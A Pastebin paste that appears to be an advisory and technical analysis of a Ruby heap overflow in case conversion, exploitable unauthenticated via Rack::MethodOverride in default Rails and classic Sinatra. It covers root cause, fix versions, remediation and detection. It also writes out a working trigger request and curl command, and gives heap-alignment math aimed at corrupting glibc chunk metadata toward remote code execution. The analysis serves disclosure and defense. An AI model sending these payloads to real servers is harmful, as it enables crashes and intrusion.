Spikewall

RUBY2SHELL.txt

Nov 19th, 2026
27
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.80 KB | None | 0 0
  1. ================================================================================
  2. RUBY2SHELL -- GHSA-34m4-m9fh-gqp5 (CVE pending)
  3. One-byte heap overflow to RCE in Ruby's String case conversion,
  4. reachable unauthenticated over HTTP in default Rails & classic Sinatra
  5. ================================================================================
  6.  
  7. Based on the Veria Labs report: https://verialabs.com/ruby2shell/
  8. (disclosed 2026-11-19 12:28 UTC)
  9. Upstream Ruby fix: ruby/ruby commit d582f8f (2026-10-28, by mame;
  10. reported by Stephan Lipp / Adalogics)
  11.  
  12. --------------------------------------------------------------------------------
  13. 1. TL;DR
  14. --------------------------------------------------------------------------------
  15.  
  16. Most single-byte ("legacy") encodings have no capital sharp s. Uppercasing
  17. the sharp s (byte 0xDF) must emit TWO bytes ("SS"), but the case-mapping
  18. loop in Ruby's ISO-8859-x / Windows-125x encoders checks for only ONE byte
  19. of room. The caller allocates a heap buffer of input_length + 20, so 21 or
  20. more sharp-s bytes in a string overflow the buffer by exactly one byte.
  21.  
  22. A default, NON-AUTHENTICATED request path in Rails and in classic-style
  23. Sinatra feeds attacker-controlled data to that upcase:
  24.  
  25. 1. Rack's multipart parser applies a per-part "charset" parameter to
  26. text fields (Content-Type: text/plain; charset=ISO-8859-1), letting
  27. the attacker choose the string's encoding.
  28. 2. Rack::MethodOverride (default middleware in Rails and classic
  29. Sinatra, runs before any app/auth code) does method.to_s.upcase on
  30. the "_method" form param -- BEFORE validating it.
  31.  
  32. Result: one unauthenticated multipart POST triggers a 1-byte heap overflow
  33. of an attacker-sized malloc chunk, with a fixed value byte ('S' = 0x53, or
  34. 's' = 0x73 for case folding), plus a 1-byte OOB read. Crafted payloads can
  35. land the byte exactly on glibc's next-chunk size field LSB -> classic
  36. chunk-size corruption -> overlapping chunks / tcache poisoning -> RCE on
  37. long-lived processes.
  38.  
  39. Fix: upgrade Ruby to 3.3.14, 3.4.13 or 4.0.10. There is NO dedicated
  40. Rails/Rack/Sinatra release fixing the exposure (verified, see section 5).
  41.  
  42. --------------------------------------------------------------------------------
  43. 2. AFFECTED VERSIONS
  44. --------------------------------------------------------------------------------
  45.  
  46. Ruby series Affected Fixed in
  47. --------------- ----------------- ---------------
  48. 4.0 4.0.0 - 4.0.9 4.0.10
  49. 3.4 3.4.0 - 3.4.12 3.4.13
  50. 3.3 3.3.0 - 3.3.13 3.3.14
  51. 3.2 and older all releases back to 2.4.0 EOL, no fix
  52.  
  53. Deployment Status on affected Ruby
  54. ---------------------------------------------- -----------------------
  55. Rails (default stack, non api_only) AFFECTED
  56. Sinatra classic style (require "sinatra" + DSL) AFFECTED
  57. Sinatra modular (Sinatra::Base) not exposed by default
  58. Other frameworks / plain Rack not exposed by default
  59. Apps upcasing strings received in legacy encodings potentially affected
  60.  
  61. Bundled products named by the report:
  62. Affected : GitLab 19.6.0 (Ruby 3.3.13), GitHub Enterprise Server 3.22.5
  63. (4.0.9), Chatwoot 4.20.0 (3.4.4)
  64. Fixed : Mastodon 4.7.6, OpenProject 17.9.8, Discourse base image
  65. 2.0.20261119-0203 (all on 4.0.10)
  66.  
  67. --------------------------------------------------------------------------------
  68. 3. ROOT CAUSE IN CRUBY
  69. --------------------------------------------------------------------------------
  70.  
  71. 3.1 THE BUGGY LOOP
  72. (enc/iso_8859_1.c, function case_map(); identical code in iso_8859_2/3/4/9/
  73. 10/13/14/15/16.c and windows_1250/1252/1254/1257.c; present since Ruby 2.4.0)
  74.  
  75. while (*pp < end && to < to_end) { /* room for ONE byte only */
  76. code = *(*pp)++;
  77. if (code == SHARP_s) {
  78. if (flags & ONIGENC_CASE_UPCASE) {
  79. *to++ = 'S'; /* first byte */
  80. code = 'S';
  81. }
  82. /* ... */
  83. }
  84. /* ... */
  85. *to++ = code; /* second byte, UNCHECKED */
  86. }
  87.  
  88. 3.2 THE CALLER'S BUFFER MATH
  89. (String#upcase / swapcase / downcase(:fold) / casecmp? on a non-ASCII-only
  90. single-byte string all funnel into rb_str_casemap() in string.c)
  91.  
  92. #define CASE_MAPPING_ADDITIONAL_LENGTH 20 /* string.c */
  93.  
  94. while (source_current < source_end) {
  95. size_t capa = (size_t)(source_end-source_current)*++buffer_count
  96. + CASE_MAPPING_ADDITIONAL_LENGTH; /* len + 20 */
  97. current_buffer = xmalloc(offsetof(mapping_buffer, space) + capa);
  98. buffer_length_or_invalid = enc->case_map(flags, &source_current,
  99. source_end, current_buffer->space,
  100. current_buffer->space+current_buffer->capa, enc);
  101. ...
  102. }
  103.  
  104. Each sharp s adds one extra output byte. The buffer has len + 20 spare
  105. bytes, so 21 sharp-s bytes overflow it by exactly one byte. Afterwards
  106. case_map() returns to - to_start (= len + 21), so copying the result into
  107. the Ruby String also READS one byte out of bounds.
  108.  
  109. When does the write go OOB? The loop's last guaranteed-in-bounds slot is
  110. to_end - 1; a sharp-s processed there writes to_end-1 (ok) and to_end
  111. (ONE PAST THE END). For an all-sharp-s input that means len + 20 must be
  112. odd, i.e. an ODD input length >= 21 (21, 23, ... 63 ...). Mixed inputs
  113. work too (see section 4).
  114.  
  115. Verified on Ruby 3.1.2 (affected series) under Valgrind with
  116. ("\xDF"*21).force_encoding("ISO-8859-1").upcase:
  117.  
  118. Invalid write of size 1
  119. at 0x8940EBC: ??? (in .../ruby/3.1.0/enc/iso_8859_1.so)
  120. Address 0x5329f01 is 0 bytes after a block of size 65 alloc'd
  121. (24-byte mapping_buffer header + 21 + 20 = 65)
  122. Invalid read of size 2
  123. at 0x488D220: __GI_memcpy ...
  124.  
  125. 3.3 THE UPSTREAM FIX (ruby/ruby@d582f8f13d700d8e39714d3a8f11eb4bd2bc69f0)
  126.  
  127. One-line change in each of the 14 encoder files -- require two bytes of
  128. room, because any input byte may expand to two:
  129.  
  130. - while (*pp < end && to < to_end) {
  131. + while (*pp < end && to_end - to > 1) {
  132.  
  133. If only one byte remains, case_map() now stops; rb_str_casemap()'s outer
  134. loop allocates a fresh remaining*k + 20 buffer and continues. Output is
  135. unchanged, only the allocation strategy differs. The commit also adds
  136. test_single_byte_sharp_s_expansion (test/ruby/enc/test_case_mapping.rb),
  137. sweeping 1..64 sharp-s over all 14 encodings for upcase, downcase(:fold),
  138. swapcase, capitalize and casecmp?.
  139.  
  140. NOT affected: UTF-8 (separate code path in enc/unicode_* with correct
  141. bounds) and Encoding::ASCII_8BIT / binary (no 0xDF case mapping) -- this
  142. matters for section 4.
  143.  
  144. --------------------------------------------------------------------------------
  145. 4. THE EXPLOITATION PRIMITIVE
  146. --------------------------------------------------------------------------------
  147.  
  148. WHAT : one byte written past a heap buffer, then one byte read OOB.
  149. VALUE : 'S' (0x53) for upcase / swapcase / capitalize
  150. 's' (0x73) for downcase(:fold) and casecmp?
  151. WHERE : the attacker fully controls the allocation size through the input
  152. length (request = 24-byte mapping_buffer header + len + 20 bytes
  153. on 64-bit), so they choose which heap bin the victim chunk is.
  154.  
  155. Size control verified (same trigger, different lengths):
  156.  
  157. len = 21 -> "0 bytes after a block of size 65"
  158. len = 63 -> "0 bytes after a block of size 107"
  159.  
  160. On glibc, a byte written exactly at the malloc-request end hits the NEXT
  161. CHUNK's size-field LSB when request % 16 == 8. A pure-sharp-s payload
  162. always has odd capa = len + 20, which never satisfies that congruence --
  163. but a MIXED payload does. Example: "a"*13 + "\xDF"*31
  164.  
  165. capa = 13 + 31 + 20 = 64 (== 0 mod 16)
  166. malloc request = 24 + 64 = 88 (== 8 mod 16)
  167. after the 13 plain bytes to = 13; sharp-s #26 starts writing at
  168. 13 + 2*25 = 63 = capa - 1, so its second 'S' lands at offset 64,
  169. i.e. exactly on the next chunk's size LSB:
  170.  
  171. Invalid write of size 1
  172. at 0x8940EBC: (in .../enc/iso_8859_1.so)
  173. Address 0x532b818 is 0 bytes after a block of size 88 alloc'd
  174.  
  175. A corrupted size LSB (e.g. 0x31 -> 0x71) is the textbook entry to
  176. chunk-extend/shrink -> overlapping chunks -> tcache/fastbin poisoning ->
  177. arbitrary write. Each HTTP request performs the overflow with an
  178. attacker-chosen allocation size in a long-lived process, so the attacker
  179. can groom the heap between attempts. That is what the report's "one-byte
  180. heap overflow to remote code execution" rests on; it needs per-target heap
  181. work, but nothing about the primitive rules it out. The OOB READ can
  182. additionally leak one adjacent heap byte into the returned string via the
  183. buffer_count == 1 copy-out path.
  184.  
  185. --------------------------------------------------------------------------------
  186. 5. NETWORK REACHABILITY -- THE DEFAULT-STACK CHAIN (AND THE "RAILS FIX")
  187. --------------------------------------------------------------------------------
  188.  
  189. The interesting part is not the Ruby bug -- it is that a DEFAULT,
  190. UNAUTHENTICATED request path case-maps an attacker-controlled string that
  191. is in a legacy single-byte encoding OF THE ATTACKER'S CHOOSING.
  192.  
  193. I audited the ecosystem for a framework-side fix (as of 2026-11-19):
  194.  
  195. * Rails: newest actionpack releases are 8.1.4.1 / 8.0.5.2 (2026-11-04);
  196. I diffed both gems -- they contain an ActionController::Live fix, a
  197. Vary-header rework, strong-parameters/session cleanups. NOTHING
  198. touching case conversion, MethodOverride, or multipart charsets.
  199. Rails main @ c9e828a8c0 (2026-11-19) STILL ships the exposure.
  200. The Nov 17-18 commits (0ee4977d7c "Parse only token schemes in
  201. Token.token_and_options", PR #59855) are token-auth changes
  202. (regex-validated ASCII, downcase -- safe path) and are unrelated.
  203. * Rack main / 3.2.8: method_override.rb still has method.to_s.upcase;
  204. the last commits touching that file are about QUERY-method support
  205. and error rescues, not encodings.
  206. * Sinatra 4.2.2 (2026-11-17, one day pre-disclosure) is a rack-
  207. protection hardening release (host allowlists, referer checks,
  208. path-traversal ordering); classic style still sets method_override.
  209.  
  210. CONCLUSION: no dedicated Rails/Rack/Sinatra fix exists. The primary fix is
  211. the Ruby upgrade, exactly as the report's remediation section says. The
  212. error is a three-layer composition, pinpointed to exact file:lines:
  213.  
  214. STEP 1 -- attacker picks the encoding.
  215. Rack::Multipart::Parser#tag_multipart_encoding
  216. (lib/rack/multipart/parser.rb, ~line 636 in Rack 3.2.8):
  217.  
  218. def tag_multipart_encoding(filename, content_type, name, body)
  219. name = name.to_s
  220. encoding = Encoding::UTF_8
  221. name.force_encoding(encoding)
  222. return if filename # file parts untouched
  223. if content_type
  224. ...
  225. if TEXT_PLAIN == type_subtype # part: text/plain
  226. ...
  227. if k == "charset"
  228. encoding = find_encoding(v) # <-- attacker's charset
  229. end
  230. end
  231. end
  232. name.force_encoding(encoding)
  233. body.force_encoding(encoding) # <-- value becomes legacy enc
  234. end
  235.  
  236. Ordinary query-string / urlencoded params are always unescaped to UTF-8
  237. (QueryParser#unescape), and broken-UTF-8 strings take the unaffected
  238. multibyte path -- so the multipart charset is the ONLY default way to
  239. hand the framework a legacy-encoded, sharp-s-carrying string. (Dummy
  240. encodings like ISO-2022-JP get re-encoded to UTF-8 by
  241. handle_dummy_encoding; the 14 affected encodings are not dummy.)
  242.  
  243. STEP 2 -- the framework upcases it.
  244. Rack::MethodOverride#method_override (lib/rack/method_override.rb, ~46):
  245.  
  246. def method_override(env)
  247. req = Request.new(env)
  248. method = method_override_param(req) ||
  249. env[HTTP_METHOD_OVERRIDE_HEADER]
  250. begin
  251. method.to_s.upcase # <-- the vulnerable case conversion
  252. rescue ArgumentError
  253. env[RACK_ERRORS].puts "Invalid string for method"
  254. end
  255. end
  256.  
  257. method_override_param reads req.POST["_method"] whenever form_data? is
  258. true -- which includes multipart/form-data -- and the allow-list check
  259. (HTTP_METHODS.include?(method)) happens only AFTER the upcase. The
  260. X-HTTP-Method-Override header path is NOT exploitable (header values
  261. are ASCII-8BIT, which has no 0xDF mapping).
  262.  
  263. STEP 3 -- who runs MethodOverride by default:
  264.  
  265. * RAILS: railties/lib/rails/application/default_middleware_stack.rb:58
  266. middleware.use ::Rack::MethodOverride unless config.api_only
  267. Every standard (non-API) Rails app puts Rack::MethodOverride IN FRONT
  268. of all controller code, i.e. BEFORE authentication.
  269.  
  270. * SINATRA classic style: lib/sinatra/base.rb:2084
  271. class Application < Base
  272. set :method_override, true
  273. end
  274. wired at base.rb:1819:
  275. builder.use Rack::MethodOverride if method_override?
  276. Modular Sinatra::Base has set :method_override, false (line 1943) --
  277. hence the report's "Sinatra (classic style)" row.
  278.  
  279. * Plain Rack apps, Roda, Hanami, ... do not insert Rack::MethodOverride
  280. by default -- "not exposed by default", exactly as the report says.
  281.  
  282. THE REQUEST (one plain POST, any route, no auth, no CSRF token):
  283.  
  284. POST /anything HTTP/1.1
  285. Content-Type: multipart/form-data; boundary=X
  286.  
  287. --X
  288. Content-Disposition: form-data; name="_method"
  289. Content-Type: text/plain; charset=ISO-8859-1
  290.  
  291. <0xDF repeated 63 times (odd count, >= 21)>
  292. --X--
  293.  
  294. With curl (note: "-F name=<file" sends a part WITHOUT a filename, which is
  295. required for tag_multipart_encoding to apply the charset):
  296.  
  297. curl -X POST "$URL" \
  298. -F "_method=<$PAYLOAD;type=text/plain;charset=ISO-8859-1"
  299.  
  300. END-TO-END PROOF (minimal "default Rails/Sinatra stack" = Rack::
  301. MethodOverride + Rack app on WEBrick, run under Valgrind, then ONE
  302. unauthenticated request; Ruby 3.1.2 / Rack 3.1.23):
  303.  
  304. == 2/3 sending payload: POST _method = 63 x 0xDF (charset=ISO-8859-1)
  305. reached the app. _method: 63 bytes, encoding=ISO-8859-1; REQUEST_METHOD=POST
  306.  
  307. == 3/3 valgrind report (heap corruption caused by the request)
  308. Invalid write of size 1
  309. at 0xB210EBC: ??? (in /usr/lib/aarch64-linux-gnu/ruby/3.1.0/
  310. enc/iso_8859_1.so)
  311. ...
  312. by 0x4EC202F: start_thread (pthread_create.c:442) <-- request thread
  313. Address 0x9e5b8db is 0 bytes after a block of size 107 alloc'd
  314. at 0x48850C8: malloc (vg_replace_malloc.c:381)
  315. Invalid read of size 2
  316. at 0x488D220: __GI_memcpy ...
  317.  
  318. FRAMEWORK-LAYER STOPGAP (if you cannot upgrade Ruby today):
  319. prepend-patch Rack::MethodOverride so that "_method" is validated as an
  320. RFC 9110 token using only ASCII-safe operations (String#tr! with a-z /
  321. A-Z, byte-range checks) BEFORE any case conversion. Verified to
  322. neutralize the overflow under Valgrind while _method=delete and the
  323. X-HTTP-Method-Override header still work. Treat it as a stopgap only --
  324. any other code path that upcases legacy-encoded strings remains
  325. vulnerable. (A ready-to-use version ships as
  326. rack_method_override_hardening.rb next to this file.)
  327.  
  328. --------------------------------------------------------------------------------
  329. 6. DETECTION AND REMEDIATION
  330. --------------------------------------------------------------------------------
  331.  
  332. REMEDIATE
  333. 1. Upgrade Ruby to 3.3.14 / 3.4.13 / 4.0.10 (or a vendor release
  334. bundling one). This is the only complete fix.
  335. 2. If you cannot upgrade immediately:
  336. - apply the MethodOverride hardening patch, or remove/swap the
  337. middleware if you don't need _method overrides, AND
  338. - audit your own code for upcase / swapcase / downcase(:fold) /
  339. casecmp? on strings whose encoding comes from request data
  340. (multipart charset, user-supplied Encoding.find, legacy-encoded
  341. DB columns, ...).
  342.  
  343. DETECT (retroactively)
  344. * Web-server logs: unauthenticated POSTs with Content-Type:
  345. multipart/form-data whose body contains a part with
  346. "Content-Type: text/plain; charset=" (any non-UTF-8 charset) and runs
  347. of 0xDF bytes. Rare-to-nonexistent in legitimate traffic.
  348. * Crash/monitoring: malloc/ASAN reports pointing at enc/iso_8859_1.so
  349. (or siblings) inside rb_str_casemap.
  350.  
  351. CI REGRESSION TEST (fails on affected Rubies):
  352.  
  353. require "test/unit"
  354. class SharpSTest < Test::Unit::TestCase
  355. def test_sharp_s_expansion_never_overflows
  356. s = ("\xDF".b * 21).force_encoding("ISO-8859-1")
  357. assert_equal "SS" * 21, s.upcase # + valgrind/ASAN in CI
  358. end
  359. end
  360.  
  361. --------------------------------------------------------------------------------
  362. 7. POC FILES / HOW TO REPRODUCE
  363. --------------------------------------------------------------------------------
  364.  
  365. Files (deliverable directory "ruby2shell"):
  366.  
  367. trigger.rb local trigger: all 14 encodings x
  368. upcase/swapcase/fold/casecmp?; run under
  369. Valgrind. Usage: ruby trigger.rb 21
  370. server.rb minimal "default Rails/Sinatra stack"
  371. (Rack::MethodOverride + Rack app) on
  372. WEBrick, port 4567
  373. send_payload.sh attacker side: charset-tagged multipart
  374. _method POST via curl.
  375. Usage: ./send_payload.sh URL [N]
  376. poc.sh full demo: server under Valgrind -> one
  377. unauthenticated request -> Valgrind
  378. report. Usage: ./poc.sh 63
  379. exploit_alignment.rb size/alignment math landing the 'S' byte
  380. on a glibc chunk-size LSB
  381. rack_method_override_hardening.rb framework-layer stopgap patch
  382. WRITEUP.md full markdown writeup
  383.  
  384. Requirements: an affected Ruby (tested with 3.1.2), rack (tested 3.1.23;
  385. 3.2.8 behaves the same), rackup, webrick, curl, valgrind.
  386.  
  387. Quick local check:
  388.  
  389. valgrind ruby -e '("\xDF".b*21).force_encoding("ISO-8859-1").upcase'
  390.  
  391. --------------------------------------------------------------------------------
  392. 8. TIMELINE
  393. --------------------------------------------------------------------------------
  394.  
  395. 2016-12 (Ruby 2.4.0) buggy case_map loop introduced with the full
  396. case-mapping API
  397. 2026-10-28 upstream fix d582f8f committed by mame
  398. (reported by Stephan Lipp, Adalogics)
  399. 2026-11-17 Sinatra 4.2.2 (unrelated hardening); no
  400. Rack/Rails fix for this issue
  401. 2026-11-19 Ruby 3.3.14 / 3.4.13 / 4.0.10 released;
  402. Veria Labs discloses GHSA-34m4-m9fh-gqp5
  403. (12:28 UTC)
  404. ~2026-11-26 Veria Labs plans to publish their own PoC
  405.  
  406. --------------------------------------------------------------------------------
  407. 9. REFERENCES
  408. --------------------------------------------------------------------------------
  409.  
  410. Veria Labs report ......... https://verialabs.com/ruby2shell/
  411. Advisory .................. GHSA-34m4-m9fh-gqp5 (CVE pending)
  412. Ruby fix .................. https://github.com/ruby/ruby/commit/
  413. d582f8f13d700d8e39714d3a8f11eb4bd2bc69f0
  414. Rack ...................... https://github.com/rack/rack
  415. (lib/rack/method_override.rb,
  416. lib/rack/multipart/parser.rb)
  417. Rails ..................... https://github.com/rails/rails
  418. (railties/lib/rails/application/
  419. default_middleware_stack.rb)
  420. Sinatra ................... https://github.com/sinatra/sinatra
  421. (lib/sinatra/base.rb)
  422.  
  423. ================================================================================
  424. This document was produced by independent analysis of the public report,
  425. the upstream Ruby fix commit, and the Rails/Rack/Sinatra sources at the
  426. time of disclosure (2026-11-19). It is provided for defensive purposes:
  427. patch your Rubies, and verify your exposure with the regression test
  428. above.
  429. ================================================================================
  430.  
Advertisement
Add Comment
Please, Sign In to add comment